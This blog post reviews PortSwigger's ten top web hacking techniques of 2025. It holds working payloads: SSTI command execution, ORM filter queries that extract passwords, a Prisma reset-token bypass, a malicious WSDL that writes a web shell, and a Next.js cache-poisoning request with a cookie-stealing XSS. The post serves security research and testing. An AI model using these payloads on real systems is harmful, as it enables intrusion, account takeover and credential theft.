DEV Community

Latent Breach
Latent Breach

Posted on

PortSwigger's Top 10 Web Hacking Techniques of 2025 — A Deep Dive

By Latent Breach | February 2026


Every year, PortSwigger's community votes on the most innovative web hacking research of the past twelve months. The Top 10 list has become the industry's unofficial barometer for where offensive security is heading — what's getting smarter, what's getting harder to detect, and what the frameworks we trust are quietly getting wrong.

The 2025 list is one of the strongest in years. It includes a new class of ORM exploitation, error-based SSTI techniques borrowed from SQL injection, .NET framework flaws Microsoft refuses to patch, and side-channel attacks so elegant they feel like magic tricks.

Here's every entry — what it does, why it matters, and how to use it.


#1 — Successful Errors: New Code Injection and SSTI Techniques

Researcher: Vladislav Korchagin
Reference: GitHub — Research_Successful_Errors

This took the #1 spot because it fundamentally expands what's possible with Server-Side Template Injection. Since James Kettle's original SSTI research in 2015, the community has relied on two exploitation modes: direct output reflection (you see the result) and time-based blind (you measure delays). Korchagin adds two more, borrowed from SQL injection's playbook.

Error-Based SSTI

The idea is simple but previously undocumented for template engines: force the application to throw an error message that contains your execution results.

Python (Jinja2, Mako, etc.):

# getattr() with code output as attribute name triggers AttributeError
# containing the result
{{getattr("", ().__class__.__mro__[1].__subclasses__())}}

# Error message: "'str' object has no attribute '[list of classes]'"
# The class list IS your exfiltrated data
Enter fullscreen mode Exit fullscreen mode

PHP (Twig, Smarty, etc.):

# File operations trigger errors containing the output
{{include(system("whoami"))}}

# Error: "Template 'www-data' not found"
# The username IS the error message
Enter fullscreen mode Exit fullscreen mode

Java (Spring EL, Freemarker, Velocity):

# Integer conversion triggers NumberFormatException with the result
${T(java.lang.Runtime).getRuntime().exec("whoami")}
Enter fullscreen mode Exit fullscreen mode

Boolean Error-Based Blind SSTI

When error messages aren't verbose enough, use conditional errors as a binary oracle:

# Division by zero only triggers when condition is true
{{1/([condition_result])}}

# If condition returns 0 → ZeroDivisionError (detectable)
# If condition returns non-zero → no error
# Use this to exfiltrate data bit by bit
Enter fullscreen mode Exit fullscreen mode

Universal Detection Polyglot

This is the payload you send when you don't know what template engine is running:

(1/0).zxy.zxy
Enter fullscreen mode Exit fullscreen mode

It triggers language-specific errors in Python, PHP, Java, Ruby, and Node.js — each with a distinct error signature that identifies the backend technology.

Why This Won

It turns every blind SSTI into an exploitable SSTI. The techniques have been integrated into SSTImap v1.3.0, so they're already tooled and ready for engagements.


#2 — ORM Leaking: More Than You Joined For

Researcher: Alex Brown (Elttam)
Reference: Elttam Blog — Leaking More Than You Joined For

This research takes ORM data leaking from a niche, framework-specific curiosity to a generic attack methodology that works across Django, Prisma, Beego, Entity Framework, OData, Sequelize, and Ransack.

The Core Problem

Developers build filtering APIs on top of ORMs without restricting which fields users can query. The ORM faithfully translates user-controlled filter expressions into database queries — including queries against fields like password, api_key, or secret_token.

Django ORM — Relational Traversal

Django's double-underscore syntax lets you traverse relationships:

# Normal usage:
User.objects.filter(email__contains="test")

# Attack — traverse to password through a relationship:
GET /api/users?filter=created_by__password__startswith=a
GET /api/users?filter=created_by__password__startswith=ab
GET /api/users?filter=created_by__password__startswith=abc
# Character-by-character extraction via response oracle
Enter fullscreen mode Exit fullscreen mode

Prisma ORM — Operator Injection

When JSON request bodies aren't type-validated, you can inject Prisma operators:

// Normal password reset:
{"resetToken": "abc123"}

// Attack  matches ANY token except the string you provide:
{"resetToken": {"not": "invalidtoken"}}

// URL-encoded variant (with express extended parser):
// resetToken[not]=invalidtoken

// Cookie-based variant (j: prefix triggers JSON parsing):
// Cookie: resetToken=j:{"not":"invalidtoken"}
Enter fullscreen mode Exit fullscreen mode

This bypasses authentication entirely — the not operator matches every reset token in the database except the one you specify.

Beego ORM — Expression Parser Bypass (Harbor CVE-2025-30086)

Harbor's API used Beego ORM with a deny-list for sensitive fields. The bypass exploits how Beego's parseExprs function handles chained field separators:

# Deny-listed query (blocked):
GET /api/v2.0/users?q=password=~abc

# Bypass — 'email' prefix passes the deny-list check,
# but parseExprs overwrites it with 'password':
GET /api/v2.0/users?q=email__password=~abc
Enter fullscreen mode Exit fullscreen mode

OData — Logical Operator Extraction

When string functions like startswith and contains are disabled, use comparison operators for character-by-character extraction:

GET /Articles?$filter=CreatedBy/Password gt 'a' and CreatedBy/Password lt 'b'
GET /Articles?$filter=CreatedBy/Password gt 'pa' and CreatedBy/Password lt 'pb'
# Binary search converges on the full password
Enter fullscreen mode Exit fullscreen mode

Why This Matters

This isn't one vulnerability — it's a vulnerability class. Every application with user-controlled filtering over an ORM needs to be tested for this. The fix is explicit field allowlisting, not deny-listing, and most applications don't have it.


#3 — Novel SSRF Technique Involving HTTP Redirect Loops

Researcher: @shubs (Shubham Shah, Assetnote/SL Cyber)
Reference: SL Cyber — Novel SSRF Technique

The pitch: making blind SSRF visible.

The Problem

Blind SSRF is frustrating. You can make the server send requests, but you can't see the responses. You're limited to DNS callbacks and timing differences — enough to confirm the vulnerability exists, but not enough to extract data.

The Technique

Shubs discovered that HTTP redirect loops create observable behavioral differences that can be used to infer information about internal services:

  1. Trigger a server-side request to an internal endpoint via SSRF
  2. The internal endpoint redirects — potentially multiple times
  3. The redirect behavior (number of hops, final destination, timeout) differs depending on the state of the internal service
  4. Observable differences in the external response (timing, status code, error message) leak information about what happened internally

The redirect loop acts as a signal amplifier — turning subtle internal differences into externally detectable timing or behavioral variations.

Impact

This technique converts blind SSRF findings (low severity, hard to demonstrate impact) into demonstrable information disclosure (medium-high severity, clear data extraction). For bug bounty hunters and pentesters, this is the difference between a rejected report and a paid bounty.


#4 — Lost in Translation: Exploiting Unicode Normalization

Researchers: Ryan Barnett & Isabella Barnett
Reference: Black Hat USA 2025 Presentation

A father-daughter team presenting at Black Hat — and the research delivers. This is about how Unicode normalization (the process of converting equivalent character sequences into a canonical form) creates exploitable gaps between WAFs and backend applications.

The Attack Classes

Visual Confusables:
Characters from different Unicode blocks that look identical but have different code points. A WAF checking for <script> won't match <script> (fullwidth angle brackets, U+FF1C / U+FF1E) — but if the backend normalizes them to ASCII, the XSS payload executes.

Overlong Encodings:
Representing characters with more bytes than necessary. Technically invalid UTF-8, but some parsers accept them. The character / (U+002F) can be represented as the overlong sequence 0xC0 0xAF — invisible to WAFs checking for path traversal, but normalized by the backend.

Case Mapping Exploits:
Some Unicode characters change length when case-mapped. The Turkish İ (U+0130) lowercases to i plus a combining dot — a length change that can break length-based validation and enable truncation attacks.

Normalization Form Conflicts:
NFC (composed) vs NFD (decomposed) vs NFKC/NFKD (compatibility) handle characters differently. If a WAF normalizes using NFC but the backend uses NFKC, characters with compatibility decompositions can bypass filtering.

Tooling

The research includes updates to:

  • ActiveScan++ (Burp Suite extension) — Unicode normalization fuzzing payloads
  • Shazzer — Fuzzing tool for generating Unicode bypass variations
  • Recollapse — Regex bypass through Unicode edge cases

Why Pentesters Should Care

If your target uses a WAF and you're stuck, Unicode normalization bypasses are one of the most underutilized techniques in your toolkit. This research systematizes what was previously ad-hoc knowledge.


#5 — SOAPwn: Pwning .NET Framework Through HTTP Client Proxies and WSDL

Researcher: Piotr Bazydło (watchTowr Labs)
Reference: watchTowr Labs — SOAPwn | 93-page Whitepaper (PDF) | Black Hat Europe Slides

This is a 93-page deep dive into a fundamental flaw in how the .NET Framework handles SOAP web service proxies. Microsoft marked it "DONOTFIX."

The Vulnerability

The HttpWebClientProtocol class (the base for .NET SOAP clients) has a flaw in GetWebRequest: when an attacker controls the Url member of the proxy, they can redirect SOAP requests to arbitrary destinations using the file:// protocol — turning a web service call into an arbitrary file write.

The Attack Chain

  1. Application consumes a WSDL (Web Services Description Language) from an attacker-controlled source
  2. Malicious WSDL specifies service endpoints using file:// URLs
  3. .NET's SOAP client dutifully sends SOAP requests to the file path
  4. The request body — which the attacker controls through WSDL manipulation — gets written to the filesystem
  5. Arbitrary file write → RCE via web shell, config overwrite, or scheduled task

Affected Real-World Products

Product CVE CVSS
Barracuda Service Center RMM CVE-2025-34392 9.8
Ivanti Endpoint Manager (EPM) CVE-2025-13659 8.8
Umbraco 8 Affected

Why Microsoft Won't Patch

Microsoft considers this an "application-layer problem" — the application shouldn't be loading untrusted WSDLs. They updated documentation instead of shipping code changes. This means every .NET Framework application consuming external WSDL files is potentially vulnerable, and will remain so.

PoC Concept

# 1. Host malicious WSDL with file:// endpoint
<wsdl:service name="Evil">
  <wsdl:port name="EvilPort" binding="tns:EvilBinding">
    <soap:address location="file:///C:/inetpub/wwwroot/shell.aspx"/>
  </wsdl:port>
</wsdl:service>

# 2. SOAP body (controlled via WSDL) contains web shell
# 3. Application sends SOAP request → file write → RCE
Enter fullscreen mode Exit fullscreen mode

#6 — Cross-Site ETag Length Leak

Researcher: Takeshi Kaneko (Ark)
Reference: blog.arkark.dev — ETag Length Leak

This is the most elegant entry on the list. It chains three separate edge cases into a cross-site information leak.

The Chain

Edge Case 1 — ETags encode response size in hex.
Libraries like jshttp/etag generate tags in the format W/"[size_hex]-[timestamp_hex]". When response size crosses a hex boundary (e.g., 0xfff0x1000), the ETag gains one character.

Edge Case 2 — Node.js enforces max header size (16 KiB default).
On repeat navigation, browsers send If-None-Match with the previous ETag. The extra byte from a longer ETag can push total headers over the limit, triggering a 431 Request Header Fields Too Large error.

Edge Case 3 — Chromium's history.length behavior.
When a navigation to the same URL fails with a 431, Chromium replaces the history entry instead of pushing a new one. By measuring history.length across dual navigations, an attacker can detect whether the 431 was triggered.

The Attack

  1. Use CSRF to create padding data on the target, controlling total response size to sit right at a hex boundary
  2. Pad request URLs so headers are near the 16 KiB limit
  3. Navigate to the target twice and measure history.length
  4. Binary search through possible flag values, using the ETag length change as a single-bit oracle

Result

The researcher demonstrated successful extraction of a CTF flag (SECCON{lumiose_city}) character by character, in approximately 30 iterations.

Why It Matters

This is a blueprint for XS-Leak research methodology — finding individually harmless edge cases and chaining them into cross-site oracles. The specific attack targets Chromium + Node.js, but the pattern applies broadly.


#7 — Next.js, Cache, and Chains: The Stale Elixir

Researcher: Rachid Allam (zhero)
Reference: zhero-web-sec — Next.js Cache and Chains

Cache poisoning in Next.js — affecting versions 13.5.1 through 14.2.9 with the Pages Router.

The Vulnerability (CVE-2024-46982)

Next.js has internal request classification logic that determines whether a page is Server-Side Rendered (SSR, dynamic) or Static Site Generation (SSG, cached). The x-now-route-matches header, an internal Vercel header, forces the framework to misclassify SSR pages as SSG.

Normal SSR headers:

Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Enter fullscreen mode Exit fullscreen mode

After poisoning:

Cache-Control: s-maxage=1, stale-while-revalidate
Enter fullscreen mode Exit fullscreen mode

PoC — Stored XSS via Cache Poisoning

GET /dashboard?__nextDataReq=1 HTTP/1.1
Host: target.com
User-Agent: <img src=x onerror=alert(document.cookie)>
x-now-route-matches: 1
Enter fullscreen mode Exit fullscreen mode

What happens:

  1. __nextDataReq=1 tells Next.js to return JSON data instead of HTML
  2. x-now-route-matches: 1 triggers the SSR→SSG misclassification
  3. The response (including the reflected User-Agent) gets cached with public headers
  4. Every subsequent visitor to /dashboard receives the poisoned response
  5. If a CDN sits in front: stored XSS at scale

Exploitation Variants

  • Denial of Service — poison pages to serve broken JSON instead of HTML
  • Stored XSS — cache reflected values (User-Agent, locale cookies, CSRF tokens)
  • Cache Deception — force revalidation with victim-specific data

Important Note

The __nextDataReq portion of this attack remains unfixed — Vercel patched only the x-now-route-matches misclassification. Applications using external CDNs (not Vercel's built-in) are the primary targets.


#8 — XSS-Leak: Leaking Cross-Origin Redirects

Researcher: Salvatore Abello
Reference: blog.babelo.xyz — Cross-Site Subdomain Leak

Another XS-Leak entry, this one exploiting Chrome's connection pool scheduling as a cross-origin oracle.

The Mechanism

Chrome limits connections to 256 total and 6 per origin. When two requests share the same priority, Chrome sorts them by port, then scheme, then host — alphabetically.

The Attack

  1. Exhaust the connection pool — open 255 long-running connections
  2. Trigger the target's cross-origin request — e.g., a redirect that encodes a secret in the subdomain
  3. Send a comparison request to a hostname you control
  4. Free one socket and observe which request completes first
  5. Alphabetical ordering tells you whether the secret hostname sorts before or after your guess
  6. Binary search converges on the full hostname

Practical Demonstration

Subdomain exfiltration:

  • Target encodes a flag as [flag].target.com via location.hash
  • Attacker binary-searches by sending requests to hostnames like m000.attacker.com, g000.attacker.com, etc.
  • Full flag extracted in ~70 seconds

Authentication state detection:

  • Target redirects admins to admin.app.com and regular users to app.app.com
  • Single comparison request distinguishes the two in under 2 seconds

Browser Response

Chrome's security team considered this behavior "likely WAI" (working as intended). No fix expected.


#9 — Playing with HTTP/2 CONNECT

Researcher: @flomb
Reference: blog.flomb.net — HTTP/2 CONNECT | GitHub — HTTP2-CONNECT-Tunnel

The Technique

HTTP/1's CONNECT method hijacks the entire TCP connection for tunneling. HTTP/2's CONNECT operates on a single stream — which means you can multiplex dozens of simultaneous tunnels over one connection.

Why This Matters for Pentesters

1. Establish one HTTP/2 connection to a proxy (Envoy, Apache)
2. Open CONNECT streams to different internal IP:port combinations
3. Each stream independently creates a tunnel
4. Efficient internal port scanning through a single connection
5. Multiplexed traffic may bypass security monitoring
Enter fullscreen mode Exit fullscreen mode

Response Indicators

# Open port:
:status 200 (in HEADERS frame)

# Closed port:
:status 503 + RST_STREAM with CONNECT_ERROR
Enter fullscreen mode Exit fullscreen mode

Affected Systems

  • Envoy with dynamic forward proxy configuration
  • Apache httpd 2.4.65+ with mod_proxy_connect and HTTP/2 support

Security Implication

Most network security monitoring isn't equipped to inspect multiplexed HTTP/2 traffic at the stream level. This technique can evade IDS/IPS systems that rely on HTTP/1 inspection patterns, and the multiplexed nature makes it significantly faster than sequential HTTP/1 CONNECT scanning.

Tool

A functional scanner is available at fl0mb/HTTP2-CONNECT-Tunnel.


#10 — Parser Differentials: When Interpretation Becomes a Vulnerability

Researcher: joernchen
Reference: OffensiveCon 2025 Presentation

The foundational entry. Parser differentials are what happens when two components in a stack interpret the same input differently — and that difference becomes exploitable.

The Concept

Every layer in a web stack parses input: the WAF parses HTTP, the web server parses URLs, the application parses parameters, the ORM parses queries, the serializer parses data formats. When any two of these disagree about what input means, the gap between their interpretations is an attack surface.

Case Studies

YAML Parser Differential (CVE-2024-0402, GitLab):
Ruby and Go parse the same YAML differently. Input that looks harmless to Go's validator contains payloads that Ruby's parser executes.

SAML Authentication Bypass (CVE-2025-25291 + CVE-2025-25292, ruby-saml):
The XML parser used for SAML assertion validation and the one used for signature verification interpret the same XML document differently. By crafting XML that says one thing to the validator and another to the verifier, authentication is bypassed entirely.

HTTP Request Smuggling:
Parser differentials between front-end proxies and back-end servers in how they parse Transfer-Encoding and Content-Length headers — the original parser differential attack class, still producing new primitives.

Why It's #10 (and Why It Should Be Higher)

Parser differentials aren't one technique — they're a meta-vulnerability class that underlies many of the other entries on this list. The ORM leaking in #2 is a parser differential between application-layer filtering and ORM query construction. The Unicode normalization in #4 is a parser differential between WAFs and backends. The WSDL exploitation in #5 is a parser differential between how .NET interprets URLs.

joernchen's contribution is systematizing these into a framework for identifying where parser boundaries exist and how to probe them.


Themes of 2025

Looking at the full list, three themes emerge:

1. Frameworks are the new attack surface.
Next.js (#7), Django/Prisma/Beego (#2), .NET Framework (#5) — the vulnerabilities aren't in application code but in the frameworks developers trust to be secure. The abstraction that makes development faster also makes security harder to reason about.

2. Side channels are getting creative.
ETag lengths (#6), connection pool ordering (#8), redirect timing (#3) — researchers are finding increasingly subtle oracles for cross-site information leaks. Each individually harmless behavior, chained into something powerful.

3. Old techniques, new contexts.
Error-based extraction (#1) borrowed from SQL injection. Unicode bypasses (#4) are decades old but systematized for modern WAFs. SOAP exploitation (#5) targets a protocol many assumed was dead. The best offensive research doesn't invent new physics — it applies known techniques where nobody thought to look.


Latent Breach writes about offensive security research. New posts weekly.


References:

Top comments (2)

Collapse
 
ofri-peretz profile image
Ofri Peretz

The ORM leaking research at #2 is the one that hits hardest imo. Most teams I've worked with treat ORM queries as "safe by default" and never restrict which fields are filterable — the Django relational traversal via double-underscore syntax is something I've seen in production codebases more times than I'd like to admit. The fix (explicit allowlisting) is simple but almost nobody does it because the ORM abstraction makes developers forget they're still building SQL queries under the hood.

Collapse
 
itskondrat profile image
Mykola Kondratiuk

The SSTI section hits different when you're using AI to generate code. Ran into a nasty one last year where Cursor auto-completed a template string in our Node backend without proper escaping. Looked clean in the diff, passed review, went to prod. Found it during a random security audit three weeks later.

That's the scary part about AI assistance - it writes plausible code fast but doesn't always think about injection vectors.